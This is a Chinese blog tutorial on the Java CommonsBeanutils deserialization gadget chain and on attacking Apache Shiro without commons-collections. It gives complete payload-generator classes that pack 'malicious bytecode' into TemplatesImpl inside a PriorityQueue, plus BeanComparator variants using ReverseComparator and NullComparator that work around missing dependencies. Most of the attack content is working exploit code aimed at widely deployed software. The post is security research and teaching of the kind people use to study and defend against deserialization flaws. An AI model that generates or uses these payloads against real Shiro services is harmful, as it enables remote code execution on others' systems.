CommonsBeanutils链与无commons collections的shiro反序列化利用

在cc2中,我们知道可以在commons-collections4通过java.util.Comparator打 java.util.PriorityQueue链;

这篇文章主要探讨之一是是否可以通过java.util.Comparator打其他的链子;

首先,还是先找谁可以调用这个Comparator类的compare方法;

我们在org.apache.commons.beanutils.BeanComparator下找到了compare方法,(毕竟参考p牛的文章,这里就先入为主地引入了)

这里先介绍一下commons.beanutils,从前缀可以看到这是是 Apache Commons 工具集下的另一个项目,

Apache Commons BeanUtils 是 Apache Commons 项目中的一个核心工具库,专注于简化 JavaBean 的操作。它通过反射机制提供了一套高效、灵活的 API,用于动态读写 JavaBean 的属性、类型转换及对象拷贝等

那什么是javabean呢;

简单来说就是一种代码编写规范;主要用于封装业务逻辑、数据操作或界面元素,实现代码模块化和跨平台复用

通过属性私有化+接口方法公有化方式进行一些类的编写;

简单来说就是要访问/操作这个类的属性时候,只能通过公有接口操作(通过公共的 getter/setter方法读写)

比如说以下代码

import java.io.Serializable;

public class UserBean implements Serializable {  // 实现序列化接口
// 1. 私有属性(驼峰命名,首字母小写)
private String userName;
private int age;
private boolean isVip; // 布尔类型属性 // 2. 无参公共构造器(必须)
public UserBean() {} // 3. 有参构造器(非必须,但方便初始化)
public UserBean(String userName, int age, boolean isVip) {
this.userName = userName;
this.age = age;
this.isVip = isVip;
} // 4. 公共的 getter/setter 方法(命名规范)
// 字符串属性
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
} // 整型属性
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
} // 布尔属性(getter 可用 isXxx() 形式)
public boolean isVip() { // 推荐 isXxx() 命名
return isVip;
}
public void setVip(boolean isVip) {
this.isVip = isVip;
}
}

回到正题,我们在commons.beanutils中找到了compare方法,接下来,看如何利用;

可以看到在BeanComparator,其实从命名也可以猜出来这是一个比较器,构造函数中我们可控且可以进行构造恶意字节码然后传入;

初始化

对比cc2中用到的 transformingComparator

我们发现这里的BeanComparatorcompare方法中并没有调用transform函数;该怎么办呢?

 public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

但我们发现它调用了PropertyUtils.getProperty这个方法:

作用:通过反射调用目标对象的 Getter 方法 获取属性值,简单来说就是通过getter方法获取对象属性值

例如

User user = new User("张三", 25);
String name = (String) PropertyUtils.getProperty(user, "name"); // 调用 getName()
Integer age = (Integer) PropertyUtils.getProperty(user, "age"); // 调用 getAge()

但这样有什么用呢?

我们思考一下,假设这里是我们的"注入点",我们应该怎么进行注入;

transform应该不行,这里没有调用这个函数的方法;这没有支持触发这个函数的"链"

自然而然我们想到使用动态加载字节码的方式;

但动态加载字节码需要反射调用TemplatesImpl的构造器,也就是newTransformer();

这里有没有transform方法进行实例化;怎么触发呢

我们回顾一下TemplatesImpl链

attacker calls -> TemplatesImpl.getOutputProperties() [public]
-> TemplatesImpl.newTransformer() [public]
-> TemplatesImpl.getTransletInstance() [private]
-> TemplatesImpl.defineTransletClasses() [private]
-> (new TransletClassLoader()).defineClass(byte[] b) [default]

发现链子开头就调用了 TemplatesImpl.getOutputProperties() [public]

其代码中也是标准的Getter写法;

因此我们只需要控制PropertyUtils.getProperty去调用TemplatesImpl.getOutputProperties()不就可以把字节码注入进去了;

确实如此

首先构建TemplatesImpl

  byte[] code=  Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

对比较器BeanComparator实例化;

   final BeanComparator comparator = new BeanComparator(property, String.CASE_INSENSITIVE_ORDER);

再对优先队列queue进行实例化;并添加两个无害的数据;防止compare比较出错,因为 comparer类型为String.CASE_INSENSITIVE_ORDER,所以queue.add("1");

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

最后通过反射修改数据将BeanComparator 中的修改property修改成getoutputProperties 和queue的1改成TemplatesImpl对象,这样就会调用getoutputProperties()触发TemplatesImpl恶意字节码链;

  setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

payload

package com.govuln.shiroattack;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates}); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(queue);
oss.close(); System.out.println(outputStream); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
}

最后也是弹出计算器了

shiro无commons-collections依赖反序列化漏洞利用

首先我们知道;shiro550中其实有保存有CommonsBeanutils 1.8.3的依赖的(有的版本可能已经删除)

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collection的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

这时候就需要无依赖的Shiro反序列化利用链

思路之一:找一个等效果的类进行替换

这个类必须可以序列化:实现了java.io.Serializable 接口

这个必须是比较器类:实现了 java.util.Comparator 接口

可兼容且没有外部依赖:Java、shiro或commons-beanutils自带,且兼容性强

我们先看BeanComparator为什么需要commons-collections的依赖;

从BeanComparator源码中可以看到BeanComparator默认依赖引用了commons-collectionsComparableComparator;在参数缺省时会默认使用commons-collections的ComparableComparator;那在没有这个库依赖时呢;

也就是说 这时候就需要寻找一个Java/shiro/commons-beanutils原生且实现Comparator和Serializable的替代类,避免外部依赖

通过idea找到同时实现了Comparator和Serializable的类有

ReverseComparator2,NullComparator,ReverseComparator,CaseInsensitiveComparator

经发现有的是私有的,无法直接实例化;

发现ReverseComparator和CaseInsensitiveComparator可以完美调用;

以下给出ReverseComparator版本的代码,p牛给出的是CaseInsensitiveComparator版本的,由于原理都一样,只需要将代码中 Collections.reverseOrder()换成String.CASE_INSENSITIVE_ORDER即可,其实有个细节就是 Collections.reverseOrder()依赖的是 java.util.Collections;类,而CASE_INSENSITIVE_ORDER依赖java.lang.String类 ,虽然都可以是原生类,但String类更为常见一些

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue; public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1"); setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj}); // ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); return barr.toByteArray();
}
}

;

这里给出新尝试的函数NullComparator(false)发现也是可以的;

只需要把以上的payload

final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

修改成

final BeanComparator comparator = new BeanComparator(null, new NullComparator(false));

即可

总结:本文中讲述了CB链的利用和打法:通过getter获取TemplatesImp链中的getoutputProperties方法触发这条链,从而加载字节码;

以及shiro反序列化的无依赖打法:利用java/shiro/commons-beanutils原生类的构造器绕过BeanComparator构造函数的缺省默认commons-collections构造器去触发readobject->...->compare函数的反序列化链;

-------------------------------------------备注----------------------------------------------

参考p牛->知识星球->代码审计->java系列文章

CommonsBeanutils链与无commons collections的shiro反序列化利用的更多相关文章

  1. Shiro反序列化利用

    Shiro反序列化利用 前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章. Shiro rememberMe反序列化漏洞(Shiro-550) 漏洞原理 Apache Shiro框架提 ...

  2. CB利用链及无依赖打Shiro

    前言 前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级.在反序列化这个对象时,为 ...

  3. Apache Commons Collections 反序列化详细分析学习总结

    0x01.环境准备: Apache Commons Collections 3.1版本,下载链接参考: https://www.secfree.com/a/231.html jd jui地址(将jar ...

  4. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  5. 关于java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap的错误解决办法

    在JavaEE开发中,在把配置文件中的数据或用户表单提交上来的数据,封装在相应JavaBean的对象的对应属性中时:在实际开发中,使用第三方法工具包BeanUtils(commons-beanutil ...

  6. java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap报错解决

    在使用 commons-beanutils-1.9.2.jarcommons-logging-1.1.1.jar 的时候报错 java.lang.NoClassDefFoundError: org/a ...

  7. java.lang.ClassNotFoundException: org.apache.commons.collections.FastHashMap

    七月 26, 2017 1:52:15 上午 org.apache.catalina.core.StandardWrapperValve invoke严重: Servlet.service() for ...

  8. 出现java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap错误问题解决

    首先出现这个问题,你应该是用了 BeanUtils.populate(meter,map); import org.apache.commons.beanutils.BeanUtils;并且导入了co ...

  9. Apache Common-collection 反序列化利用链解析--TransformedMap链

    Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...

  10. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

随机推荐

  1. Chrome浏览器使用AdGuard去除百度热搜

    前言 百度的热搜会分散注意力,chrome 的 AdGuard 插件可以屏蔽广告,还可以屏蔽百度热搜 设置 > 用户过滤器 > 添加以下代码,即可屏蔽百度热搜 baidu.com##div ...

  2. 解决Linux下文本文件中文乱码问题

    上一篇我们提到了OS和DB的一些中文乱码问题解决,本篇我们继续介绍下在OS上的文本文件中文乱码问题. 操作系统是Linux(OEL 8.10),所有文件是打了一个压缩包上传的,上传解压后发现其中的文本 ...

  3. Tinyhttpd 源代码初步解读

    Tinyhttpd 是很早以前的一个 web 服务器程序,由 C 语言编写,整个程序十分小巧,源码只有几百行.它一般不适合用于生产环境,因为它很简单,只实现了读取 html 以及 Get / POST ...

  4. SRAM的读、写操作、信息保持原理

    \(Vcc\)会使得\(T_3\)和\(T_4\)导通,但是哪个先导通是随机的,那么当\(T3\)先导通的时候,\(a\)点变为高电平,此时电流经由 \(a\) 点导通\(T2\),\(T2\)导通, ...

  5. 将Particle转成UGUI

    在unity官方论坛看到的一个解决方案,可以将Particle直接转换成CanvasRenderer元素显示.新建一个UIParticleSystem.cs脚本,将以下代码复制进去: using Un ...

  6. File类使用详解

    File类是java io包下代表与平台无关的文件和目录,也就是说,在程序中操作文件和目录都可以通过File类来完成.但是File不能访问文件内容本身,访问文件内容需要使用输入/输出流. File类的 ...

  7. MySQL InnoDB 引擎中的聚簇索引和非聚簇索引有什么区别?

    MySQL InnoDB 引擎中的聚簇索引和非聚簇索引的区别 在 MySQL 的 InnoDB 存储引擎中,聚簇索引和非聚簇索引是两种常见的索引类型,它们在数据存储结构和使用场景上有显著区别. 1. ...

  8. jmeter使用之数据关联

  9. [亲测]ThinkPHP中where方法中变量不解析的解决方法

    2018年5月4日 01:15  血的教训,今天做一个项目,需要批量更新数据,所以where中必须用变量.发现where里的变量不解析并且会直接报错,然后通过搜索发现可以在双引号中的左右加号中包裹变量 ...

  10. Python实验3 函数与代码复用

    目的:理解函数封装与递归思想 实验任务: 基础 :编写函数cal_factorial(n)计算阶乘(循环实现). 源码: def cal_factorial(n): result = 1 for i ...